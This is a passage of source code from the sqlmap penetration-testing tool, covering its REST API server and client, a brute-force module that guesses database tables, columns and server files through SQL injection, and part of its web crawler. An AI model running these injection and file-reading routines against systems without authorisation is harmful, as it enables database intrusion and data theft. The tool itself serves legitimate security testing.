return jsonize({"success": True, "tasks": tasks, "tasks_num": len(tasks)}) @get("/admin/flush") @get("/admin/<token>/flush") def task_flush(token=None): """ Flush task spool (delete all tasks) """ for key in list(DataStore.tasks): if is_admin(token) or DataStore.tasks[key].remote_addr == request.remote_addr: DataStore.tasks[key].engine_kill() del DataStore.tasks[key] logger.debug("(%s) Flushed task pool (%s)" % (token, "admin" if is_admin(token) else request.remote_addr)) return jsonize({"success": True}) ################################## # sqlmap core interact functions # ################################## # Handle task's options @get("/option/<taskid>/list") def option_list(taskid): """ List options for a certain task ID """ if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to option_list()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) logger.debug("(%s) Listed task options" % taskid) return jsonize({"success": True, "options": DataStore.tasks[taskid].get_options()}) @post("/option/<taskid>/get") def option_get(taskid): """ Get value of option(s) for a certain task ID """ if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to option_get()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) options = request.json or [] results = {} for option in options: if option in DataStore.tasks[taskid].options: results[option] = DataStore.tasks[taskid].options[option] else: logger.debug("(%s) Requested value for unknown option '%s'" % (taskid, option)) return jsonize({"success": False, "message": "Unknown option '%s'" % option}) logger.debug("(%s) Retrieved values for option(s) '%s'" % (taskid, ','.join(options))) return jsonize({"success": True, "options": results}) @post("/option/<taskid>/set") def option_set(taskid): """ Set value of option(s) for a certain task ID """ if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to option_set()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) if request.json is None: logger.warning("[%s] Invalid JSON options provided to option_set()" % taskid) return jsonize({"success": False, "message": "Invalid JSON options"}) for option, value in request.json.items(): DataStore.tasks[taskid].set_option(option, value) logger.debug("(%s) Requested to set options" % taskid) return jsonize({"success": True}) # Handle scans @post("/scan/<taskid>/start") def scan_start(taskid): """ Launch a scan """ if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to scan_start()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) if request.json is None: logger.warning("[%s] Invalid JSON options provided to scan_start()" % taskid) return jsonize({"success": False, "message": "Invalid JSON options"}) for key in request.json: if key in RESTAPI_UNSUPPORTED_OPTIONS: logger.warning("[%s] Unsupported option '%s' provided to scan_start()" % (taskid, key)) return jsonize({"success": False, "message": "Unsupported option '%s'" % key}) # Initialize sqlmap engine's options with user's provided options, if any for option, value in request.json.items(): DataStore.tasks[taskid].set_option(option, value) # Launch sqlmap engine in a separate process DataStore.tasks[taskid].engine_start() logger.debug("(%s) Started scan" % taskid) return jsonize({"success": True, "engineid": DataStore.tasks[taskid].engine_get_id()}) @get("/scan/<taskid>/stop") def scan_stop(taskid): """ Stop a scan """ if (taskid not in DataStore.tasks or DataStore.tasks[taskid].engine_process() is None or DataStore.tasks[taskid].engine_has_terminated()): logger.warning("[%s] Invalid task ID provided to scan_stop()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) DataStore.tasks[taskid].engine_stop() logger.debug("(%s) Stopped scan" % taskid) return jsonize({"success": True}) @get("/scan/<taskid>/kill") def scan_kill(taskid): """ Kill a scan """ if (taskid not in DataStore.tasks or DataStore.tasks[taskid].engine_process() is None or DataStore.tasks[taskid].engine_has_terminated()): logger.warning("[%s] Invalid task ID provided to scan_kill()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) DataStore.tasks[taskid].engine_kill() logger.debug("(%s) Killed scan" % taskid) return jsonize({"success": True}) @get("/scan/<taskid>/status") def scan_status(taskid): """ Returns status of a scan """ if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to scan_status()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) if DataStore.tasks[taskid].engine_process() is None: status = "not running" else: status = "terminated" if DataStore.tasks[taskid].engine_has_terminated() is True else "running" logger.debug("(%s) Retrieved scan status" % taskid) return jsonize({ "success": True, "status": status, "returncode": DataStore.tasks[taskid].engine_get_returncode() }) @get("/scan/<taskid>/data") def scan_data(taskid): """ Retrieve the data of a scan """ json_data_message = list() json_errors_message = list() if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to scan_data()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) # Read all data from the IPC database for the taskid for status, content_type, value in DataStore.current_db.execute("SELECT status, content_type, value FROM data WHERE taskid = ? ORDER BY id ASC", (taskid,)): json_data_message.append({"status": status, "type": content_type, "value": dejsonize(value)}) # Read all error messages from the IPC database for error in DataStore.current_db.execute("SELECT error FROM errors WHERE taskid = ? ORDER BY id ASC", (taskid,)): json_errors_message.append(error) logger.debug("(%s) Retrieved scan data and error messages" % taskid) return jsonize({"success": True, "data": json_data_message, "error": json_errors_message}) # Functions to handle scans' logs @get("/scan/<taskid>/log/<start>/<end>") def scan_log_limited(taskid, start, end): """ Retrieve a subset of log messages """ json_log_messages = list() if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to scan_log_limited()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) if not start.isdigit() or not end.isdigit() or int(end) < int(start): logger.warning("[%s] Invalid start or end value provided to scan_log_limited()" % taskid) return jsonize({"success": False, "message": "Invalid start or end value, must be digits"}) start = max(1, int(start)) end = max(1, int(end)) # Read a subset of log messages from the IPC database for time_, level, message in DataStore.current_db.execute("SELECT time, level, message FROM logs WHERE taskid = ? AND id >= ? AND id <= ? ORDER BY id ASC", (taskid, start, end)): json_log_messages.append({"time": time_, "level": level, "message": message}) logger.debug("(%s) Retrieved scan log messages subset" % taskid) return jsonize({"success": True, "log": json_log_messages}) @get("/scan/<taskid>/log") def scan_log(taskid): """ Retrieve the log messages """ json_log_messages = list() if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to scan_log()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) # Read all log messages from the IPC database for time_, level, message in DataStore.current_db.execute("SELECT time, level, message FROM logs WHERE taskid = ? ORDER BY id ASC", (taskid,)): json_log_messages.append({"time": time_, "level": level, "message": message}) logger.debug("(%s) Retrieved scan log messages" % taskid) return jsonize({"success": True, "log": json_log_messages}) # Function to handle files inside the output directory @get("/download/<taskid>/<target>/<filename:path>") def download(taskid, target, filename): """ Download a certain file from the file system """ if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to download()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) path = os.path.abspath(os.path.join(paths.SQLMAP_OUTPUT_PATH, target, filename)) # Prevent file path traversal if not path.startswith(paths.SQLMAP_OUTPUT_PATH): logger.warning("[%s] Forbidden path (%s)" % (taskid, target)) return jsonize({"success": False, "message": "Forbidden path"}) if os.path.isfile(path): logger.debug("(%s) Retrieved content of file %s" % (taskid, target)) content = openFile(path, "rb").read() return jsonize({"success": True, "file": encodeBase64(content, binary=False)}) else: logger.warning("[%s] File does not exist %s" % (taskid, target)) return jsonize({"success": False, "message": "File does not exist"}) @get("/version") def version(token=None): """ Fetch server version """ logger.debug("Fetched version (%s)" % ("admin" if is_admin(token) else request.remote_addr)) return jsonize({"success": True, "version": VERSION_STRING.split('/')[-1]}) def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=RESTAPI_DEFAULT_ADAPTER, username=None, password=None, database=None): """ REST-JSON API server """ DataStore.admin_token = encodeHex(os.urandom(16), binary=False) DataStore.username = username DataStore.password = password if not database: _, Database.filepath = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.IPC, text=False) os.close(_) else: Database.filepath = database if port == 0: # random with contextlib.closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as s: s.bind((host, 0)) port = s.getsockname()[1] logger.info("Running REST-JSON API server at '%s:%d'.." % (host, port)) logger.info("Admin (secret) token: %s" % DataStore.admin_token) logger.debug("IPC database: '%s'" % Database.filepath) # Initialize IPC database DataStore.current_db = Database() DataStore.current_db.connect() DataStore.current_db.init() # Run RESTful API try: # Supported adapters: aiohttp, auto, bjoern, cgi, cherrypy, diesel, eventlet, fapws3, flup, gae, gevent, geventSocketIO, gunicorn, meinheld, paste, rocket, tornado, twisted, waitress, wsgiref # Reference: https://bottlepy.org/docs/dev/deployment.html || bottle.server_names if adapter == "gevent": from gevent import monkey monkey.patch_all() elif adapter == "eventlet": import eventlet eventlet.monkey_patch() logger.debug("Using adapter '%s' to run bottle" % adapter) run(host=host, port=port, quiet=True, debug=True, server=adapter) except socket.error as ex: if "already in use" in getSafeExString(ex): logger.error("Address already in use ('%s:%s')" % (host, port)) else: raise except ImportError: if adapter.lower() not in server_names: errMsg = "Adapter '%s' is unknown. " % adapter errMsg += "List of supported adapters: %s" % ', '.join(sorted(list(server_names.keys()))) else: errMsg = "Server support for adapter '%s' is not installed on this system " % adapter errMsg += "(Note: you can try to install it with 'apt install python-%s' or 'pip%s install %s')" % (adapter, '3' if six.PY3 else "", adapter) logger.critical(errMsg) def _client(url, options=None): logger.debug("Calling '%s'" % url) try: headers = {"Content-Type": "application/json"} if options is not None: data = getBytes(jsonize(options)) else: data = None if DataStore.username or DataStore.password: headers["Authorization"] = "Basic %s" % encodeBase64("%s:%s" % (DataStore.username or "", DataStore.password or ""), binary=False) req = _urllib.request.Request(url, data, headers) response = _urllib.request.urlopen(req) text = getText(response.read()) except: if options: logger.error("Failed to load and parse %s" % url) raise return text def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=None, password=None): """ REST-JSON API client """ DataStore.username = username DataStore.password = password dbgMsg = "Example client access from command line:" dbgMsg += "\n\t$ taskid=$(curl http://%s:%d/task/new 2>1 | grep -o -I '[a-f0-9]\\{16\\}') && echo $taskid" % (host, port) dbgMsg += "\n\t$ curl -H \"Content-Type: application/json\" -X POST -d '{\"url\": \"http://testphp.vulnweb.com/artists.php?artist=1\"}' http://%s:%d/scan/$taskid/start" % (host, port) dbgMsg += "\n\t$ curl http://%s:%d/scan/$taskid/data" % (host, port) dbgMsg += "\n\t$ curl http://%s:%d/scan/$taskid/log" % (host, port) logger.debug(dbgMsg) addr = "http://%s:%d" % (host, port) logger.info("Starting REST-JSON API client to '%s'..." % addr) try: _client(addr) except Exception as ex: if not isinstance(ex, _urllib.error.HTTPError) or ex.code == _http_client.UNAUTHORIZED: errMsg = "There has been a problem while connecting to the " errMsg += "REST-JSON API server at '%s' " % addr errMsg += "(%s)" % getSafeExString(ex) logger.critical(errMsg) return commands = ("help", "new", "use", "data", "log", "status", "option", "stop", "kill", "list", "flush", "version", "exit", "bye", "quit") colors = ('red', 'green', 'yellow', 'blue', 'magenta', 'cyan', 'lightgrey', 'lightred', 'lightgreen', 'lightyellow', 'lightblue', 'lightmagenta', 'lightcyan') autoCompletion(AUTOCOMPLETE_TYPE.API, commands=commands) taskid = None logger.info("Type 'help' or '?' for list of available commands") while True: try: color = colors[int(taskid or "0", 16) % len(colors)] command = _input("api%s> " % (" (%s)" % setColor(taskid, color) if taskid else "")).strip() command = re.sub(r"\A(\w+)", lambda match: match.group(1).lower(), command) except (EOFError, KeyboardInterrupt): print() break if command in ("data", "log", "status", "stop", "kill"): if not taskid: logger.error("No task ID in use") continue raw = _client("%s/scan/%s/%s" % (addr, taskid, command)) res = dejsonize(raw) if not res["success"]: logger.error("Failed to execute command %s" % command) dataToStdout("%s\n" % raw) elif command.startswith("option"): if not taskid: logger.error("No task ID in use") continue try: command, option = command.split(" ", 1) except ValueError: raw = _client("%s/option/%s/list" % (addr, taskid)) else: options = re.split(r"\s*,\s*", option.strip()) raw = _client("%s/option/%s/get" % (addr, taskid), options) res = dejsonize(raw) if not res["success"]: logger.error("Failed to execute command %s" % command) dataToStdout("%s\n" % raw) elif command.startswith("new"): if ' ' not in command: logger.error("Program arguments are missing") continue try: argv = ["sqlmap.py"] + shlex.split(command)[1:] except Exception as ex: logger.error("Error occurred while parsing arguments ('%s')" % getSafeExString(ex)) taskid = None continue try: cmdLineOptions = cmdLineParser(argv).__dict__ except: taskid = None continue for key in list(cmdLineOptions): if cmdLineOptions[key] is None: del cmdLineOptions[key] raw = _client("%s/task/new" % addr) res = dejsonize(raw) if not res["success"]: logger.error("Failed to create new task ('%s')" % res.get("message", "")) continue taskid = res["taskid"] logger.info("New task ID is '%s'" % taskid) raw = _client("%s/scan/%s/start" % (addr, taskid), cmdLineOptions) res = dejsonize(raw) if not res["success"]: logger.error("Failed to start scan ('%s')" % res.get("message", "")) continue logger.info("Scanning started") elif command.startswith("use"): taskid = (command.split()[1] if ' ' in command else "").strip("'\"") if not taskid: logger.error("Task ID is missing") taskid = None continue elif not re.search(r"\A[0-9a-fA-F]{16}\Z", taskid): logger.error("Invalid task ID '%s'" % taskid) taskid = None continue logger.info("Switching to task ID '%s' " % taskid) elif command in ("version",): raw = _client("%s/%s" % (addr, command)) res = dejsonize(raw) if not res["success"]: logger.error("Failed to execute command %s" % command) dataToStdout("%s\n" % raw) elif command in ("list", "flush"): raw = _client("%s/admin/%s" % (addr, command)) res = dejsonize(raw) if not res["success"]: logger.error("Failed to execute command %s" % command) elif command == "flush": taskid = None dataToStdout("%s\n" % raw) elif command in ("exit", "bye", "quit", 'q'): return elif command in ("help", "?"): msg = "help Show this help message\n" msg += "new ARGS Start a new scan task with provided arguments (e.g. 'new -u \"http://testphp.vulnweb.com/artists.php?artist=1\"')\n" msg += "use TASKID Switch current context to different task (e.g. 'use c04d8c5c7582efb4')\n" msg += "data Retrieve and show data for current task\n" msg += "log Retrieve and show log for current task\n" msg += "status Retrieve and show status for current task\n" msg += "option OPTION Retrieve and show option for current task\n" msg += "options Retrieve and show all options for current task\n" msg += "stop Stop current task\n" msg += "kill Kill current task\n" msg += "list Display all tasks\n" msg += "version Fetch server version\n" msg += "flush Flush tasks (delete all tasks)\n" msg += "exit Exit this client\n" dataToStdout(msg) elif command: logger.error("Unknown command '%s'" % command) ================================================ FILE: lib/utils/brute.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import division import time from lib.core.common import Backend from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout from lib.core.common import filterListValue from lib.core.common import getFileItems from lib.core.common import getPageWordSet from lib.core.common import hashDBWrite from lib.core.common import isNoneValue from lib.core.common import ntToPosixSlashes from lib.core.common import popValue from lib.core.common import pushValue from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import safeStringFormat from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.decorators import stackedmethod from lib.core.enums import DBMS from lib.core.enums import HASHDB_KEYS from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapNoneDataException from lib.core.settings import BRUTE_COLUMN_EXISTS_TEMPLATE from lib.core.settings import BRUTE_TABLE_EXISTS_TEMPLATE from lib.core.settings import METADB_SUFFIX from lib.core.settings import UPPER_CASE_DBMSES from lib.core.threads import getCurrentThreadData from lib.core.threads import runThreads from lib.request import inject def _addPageTextWords(): wordsList = [] infoMsg = "adding words used on web page to the check list" logger.info(infoMsg) pageWords = getPageWordSet(kb.originalPage) for word in pageWords: word = word.lower() if len(word) > 2 and not word[0].isdigit() and word not in wordsList: wordsList.append(word) return wordsList @stackedmethod def tableExists(tableFile, regex=None): if kb.choices.tableExists is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct: warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED]) warnMsg += "for common table existence check" logger.warning(warnMsg) message = "are you sure you want to continue? [y/N] " kb.choices.tableExists = readInput(message, default='N', boolean=True) if not kb.choices.tableExists: return None result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), randomStr()))) if result: errMsg = "can't use table existence check because of detected invalid results " errMsg += "(most likely caused by inability of the used injection " errMsg += "to distinguish erroneous results)" raise SqlmapDataException(errMsg) pushValue(conf.db) if conf.db and Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.db = conf.db.upper() message = "which common tables (wordlist) file do you want to use?\n" message += "[1] default '%s' (press Enter)\n" % tableFile message += "[2] custom" choice = readInput(message, default='1') if choice == '2': message = "what's the custom common tables file location?\n" tableFile = readInput(message) or tableFile infoMsg = "performing table existence using items from '%s'" % tableFile logger.info(infoMsg) tables = getFileItems(tableFile, lowercase=Backend.getIdentifiedDbms() in (DBMS.ACCESS,), unique=True) tables.extend(_addPageTextWords()) tables = filterListValue(tables, regex) for conf.db in (conf.db.split(',') if conf.db else [conf.db]): if conf.db and METADB_SUFFIX not in conf.db: infoMsg = "checking database '%s'" % conf.db logger.info(infoMsg) threadData = getCurrentThreadData() threadData.shared.count = 0 threadData.shared.limit = len(tables) threadData.shared.files = [] threadData.shared.unique = set() def tableExistsThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.count.acquire() if threadData.shared.count < threadData.shared.limit: table = safeSQLIdentificatorNaming(tables[threadData.shared.count], True) threadData.shared.count += 1 kb.locks.count.release() else: kb.locks.count.release() break if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): fullTableName = "%s.%s" % (conf.db, table) else: fullTableName = table if Backend.isDbms(DBMS.MCKOI): _ = randomInt(1) result = inject.checkBooleanExpression("%s" % safeStringFormat("%d=(SELECT %d FROM %s)", (_, _, fullTableName))) else: result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName))) kb.locks.io.acquire() if result and table.lower() not in threadData.shared.unique: threadData.shared.files.append(table) threadData.shared.unique.add(table.lower()) if conf.verbose in (1, 2) and not conf.api: clearConsoleLine(True) infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(table)) dataToStdout(infoMsg, True) if conf.verbose in (1, 2): status = '%d/%d items (%d%%)' % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) kb.locks.io.release() try: runThreads(conf.threads, tableExistsThread, threadChoice=True) except KeyboardInterrupt: warnMsg = "user aborted during table existence " warnMsg += "check. sqlmap will display partial output" logger.warning(warnMsg) clearConsoleLine(True) dataToStdout("\n") if not threadData.shared.files: warnMsg = "no table(s) found" if conf.db: warnMsg += " for database '%s'" % conf.db logger.warning(warnMsg) else: for item in threadData.shared.files: if conf.db not in kb.data.cachedTables: kb.data.cachedTables[conf.db] = [item] else: kb.data.cachedTables[conf.db].append(item) for _ in ((conf.db, item) for item in threadData.shared.files): if _ not in kb.brute.tables: kb.brute.tables.append(_) conf.db = popValue() hashDBWrite(HASHDB_KEYS.KB_BRUTE_TABLES, kb.brute.tables, True) return kb.data.cachedTables def columnExists(columnFile, regex=None): if kb.choices.columnExists is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct: warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED]) warnMsg += "for common column existence check" logger.warning(warnMsg) message = "are you sure you want to continue? [y/N] " kb.choices.columnExists = readInput(message, default='N', boolean=True) if not kb.choices.columnExists: return None if not conf.tbl: errMsg = "missing table parameter" raise SqlmapMissingMandatoryOptionException(errMsg) if conf.db and Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.db = conf.db.upper() result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (randomStr(), randomStr()))) if result: errMsg = "can't use column existence check because of detected invalid results " errMsg += "(most likely caused by inability of the used injection " errMsg += "to distinguish erroneous results)" raise SqlmapDataException(errMsg) message = "which common columns (wordlist) file do you want to use?\n" message += "[1] default '%s' (press Enter)\n" % columnFile message += "[2] custom" choice = readInput(message, default='1') if choice == '2': message = "what's the custom common columns file location?\n" columnFile = readInput(message) or columnFile infoMsg = "checking column existence using items from '%s'" % columnFile logger.info(infoMsg) columns = getFileItems(columnFile, unique=True) columns.extend(_addPageTextWords()) columns = filterListValue(columns, regex) for table in conf.tbl.split(','): table = safeSQLIdentificatorNaming(table, True) if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): table = "%s.%s" % (safeSQLIdentificatorNaming(conf.db), table) kb.threadContinue = True kb.bruteMode = True threadData = getCurrentThreadData() threadData.shared.count = 0 threadData.shared.limit = len(columns) threadData.shared.files = [] def columnExistsThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.count.acquire() if threadData.shared.count < threadData.shared.limit: column = safeSQLIdentificatorNaming(columns[threadData.shared.count]) threadData.shared.count += 1 kb.locks.count.release() else: kb.locks.count.release() break if Backend.isDbms(DBMS.MCKOI): result = inject.checkBooleanExpression(safeStringFormat("0<(SELECT COUNT(%s) FROM %s)", (column, table))) else: result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (column, table))) kb.locks.io.acquire() if result: threadData.shared.files.append(column) if conf.verbose in (1, 2) and not conf.api: clearConsoleLine(True) infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(column)) dataToStdout(infoMsg, True) if conf.verbose in (1, 2): status = "%d/%d items (%d%%)" % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) kb.locks.io.release() try: runThreads(conf.threads, columnExistsThread, threadChoice=True) except KeyboardInterrupt: warnMsg = "user aborted during column existence " warnMsg += "check. sqlmap will display partial output" logger.warning(warnMsg) finally: kb.bruteMode = False clearConsoleLine(True) dataToStdout("\n") if not threadData.shared.files: warnMsg = "no column(s) found" logger.warning(warnMsg) else: columns = {} for column in threadData.shared.files: if Backend.getIdentifiedDbms() in (DBMS.MYSQL,): result = not inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s REGEXP '[^0-9]')", (column, table, column))) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,): result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s NOT GLOB '*[^0-9]*')", (column, table, column))) elif Backend.getIdentifiedDbms() in (DBMS.MCKOI,): result = inject.checkBooleanExpression("%s" % safeStringFormat("0=(SELECT MAX(%s)-MAX(%s) FROM %s)", (column, column, table))) else: result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column))) if result: columns[column] = "numeric" else: columns[column] = "non-numeric" kb.data.cachedColumns[conf.db] = {table: columns} for _ in ((conf.db, table, item[0], item[1]) for item in columns.items()): if _ not in kb.brute.columns: kb.brute.columns.append(_) hashDBWrite(HASHDB_KEYS.KB_BRUTE_COLUMNS, kb.brute.columns, True) return kb.data.cachedColumns @stackedmethod def fileExists(pathFile): retVal = [] message = "which common files file do you want to use?\n" message += "[1] default '%s' (press Enter)\n" % pathFile message += "[2] custom" choice = readInput(message, default='1') if choice == '2': message = "what's the custom common files file location?\n" pathFile = readInput(message) or pathFile infoMsg = "checking files existence using items from '%s'" % pathFile logger.info(infoMsg) paths = getFileItems(pathFile, unique=True) kb.bruteMode = True try: conf.dbmsHandler.readFile(randomStr()) except SqlmapNoneDataException: pass except: kb.bruteMode = False raise threadData = getCurrentThreadData() threadData.shared.count = 0 threadData.shared.limit = len(paths) threadData.shared.files = [] def fileExistsThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.count.acquire() if threadData.shared.count < threadData.shared.limit: path = ntToPosixSlashes(paths[threadData.shared.count]) threadData.shared.count += 1 kb.locks.count.release() else: kb.locks.count.release() break try: result = unArrayizeValue(conf.dbmsHandler.readFile(path)) except SqlmapNoneDataException: result = None kb.locks.io.acquire() if not isNoneValue(result): threadData.shared.files.append(result) if not conf.api: clearConsoleLine(True) infoMsg = "[%s] [INFO] retrieved: '%s'\n" % (time.strftime("%X"), path) dataToStdout(infoMsg, True) if conf.verbose in (1, 2): status = '%d/%d items (%d%%)' % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) kb.locks.io.release() try: runThreads(conf.threads, fileExistsThread, threadChoice=True) except KeyboardInterrupt: warnMsg = "user aborted during file existence " warnMsg += "check. sqlmap will display partial output" logger.warning(warnMsg) finally: kb.bruteMode = False clearConsoleLine(True) dataToStdout("\n") if not threadData.shared.files: warnMsg = "no file(s) found" logger.warning(warnMsg) else: retVal = threadData.shared.files return retVal ================================================ FILE: lib/utils/crawler.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import division import os import re import tempfile import time from lib.core.common import checkSameHost from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout from lib.core.common import extractRegexResult from lib.core.common import findPageForms from lib.core.common import getSafeExString from lib.core.common import openFile from lib.core.common import readInput from lib.core.common import safeCSValue from lib.core.common import urldecode from lib.core.compat import xrange from lib.core.convert import htmlUnescape from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.datatype import OrderedSet from lib.core.enums import MKSTEMP_PREFIX from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapSyntaxException from lib.core.settings import CRAWL_EXCLUDE_EXTENSIONS from lib.core.threads import getCurrentThreadData from lib.core.threads import runThreads from lib.parse.sitemap import parseSitemap from lib.request.connect import Connect as Request from thirdparty import six from thirdparty.beautifulsoup.beautifulsoup import BeautifulSoup from thirdparty.six.moves import http_client as _http_client from thirdparty.six.moves import urllib as _urllib def crawl(target, post=None, cookie=None): if not target: return try: visited = set() threadData = getCurrentThreadData() threadData.shared.value = OrderedSet() threadData.shared.formsFound = False def crawlThread(): threadData = getCurrentThreadData() while kb.threadContinue: with kb.locks.limit: if threadData.shared.unprocessed: current = threadData.shared.unprocessed.pop() if current in visited: continue elif conf.crawlExclude and re.search(conf.crawlExclude, current): dbgMsg = "skipping '%s'" % current logger.debug(dbgMsg) continue else: visited.add(current) else: break content = None try: if current: content = Request.getPage(url=current, post=post, cookie=None, crawling=True, raise404=False)[0] except SqlmapConnectionException as ex: errMsg = "connection exception detected ('%s'). skipping " % getSafeExString(ex) errMsg += "URL '%s'" % current logger.critical(errMsg) except SqlmapSyntaxException: errMsg = "invalid URL detected. skipping '%s'" % current logger.critical(errMsg) except _http_client.InvalidURL as ex: errMsg = "invalid URL detected ('%s'). skipping " % getSafeExString(ex) errMsg += "URL '%s'" % current logger.critical(errMsg) if not kb.threadContinue: break if isinstance(content, six.text_type): try: match = re.search(r"(?si)<html[^>]*>(.+)</html>", content) if match: content = "<html>%s</html>" % match.group(1) soup = BeautifulSoup(content) tags = soup('a') tags += re.finditer(r'(?i)\s(href|src)=["\'](?P<href>[^>"\']+)', content) tags += re.finditer(r'(?i)window\.open\(["\'](?P<href>[^)"\']+)["\']', content) for tag in tags: href = tag.get("href") if hasattr(tag, "get") else tag.group("href") if href: if threadData.lastRedirectURL and threadData.lastRedirectURL[0] == threadData.lastRequestUID: current = threadData.lastRedirectURL[1] url = _urllib.parse.urljoin(current, htmlUnescape(href)) # flag to know if we are dealing with the same target host _ = checkSameHost(url, target) if conf.scope: if not re.search(conf.scope, url, re.I): continue elif not _: continue if (extractRegexResult(r"\A[^?]+\.(?P<result>\w+)(\?|\Z)", url) or "").lower() not in CRAWL_EXCLUDE_EXTENSIONS: with kb.locks.value: threadData.shared.deeper.add(url) if re.search(r"(.*?)\?(.+)", url) and not re.search(r"\?(v=)?\d+\Z", url) and not re.search(r"(?i)\.(js|css)(\?|\Z)", url): threadData.shared.value.add(url) except UnicodeEncodeError: # for non-HTML files pass except ValueError: # for non-valid links pass except AssertionError: # for invalid HTML pass finally: if conf.forms: threadData.shared.formsFound |= len(findPageForms(content, current, False, True)) > 0 if conf.verbose in (1, 2): threadData.shared.count += 1 status = '%d/%d links visited (%d%%)' % (threadData.shared.count, threadData.shared.length, round(100.0 * threadData.shared.count / threadData.shared.length)) dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status), True) threadData.shared.deeper = set() threadData.shared.unprocessed = set([target]) _ = re.sub(r"(?<!/)/(?!/).*", "", target) if _: if target.strip('/') != _.strip('/'): threadData.shared.unprocessed.add(_) if re.search(r"\?.*\b\w+=", target): threadData.shared.value.add(target) if kb.checkSitemap is None: message = "do you want to check for the existence of " message += "site's sitemap(.xml) [y/N] " kb.checkSitemap = readInput(message, default='N', boolean=True) if kb.checkSitemap: found = True items = None url = _urllib.parse.urljoin(target, "/sitemap.xml") try: items = parseSitemap(url) except SqlmapConnectionException as ex: if "page not found" in getSafeExString(ex): found = False logger.warning("'sitemap.xml' not found") except: pass finally: if found: if items: for item in items: if re.search(r"(.*?)\?(.+)", item): threadData.shared.value.add(item) if 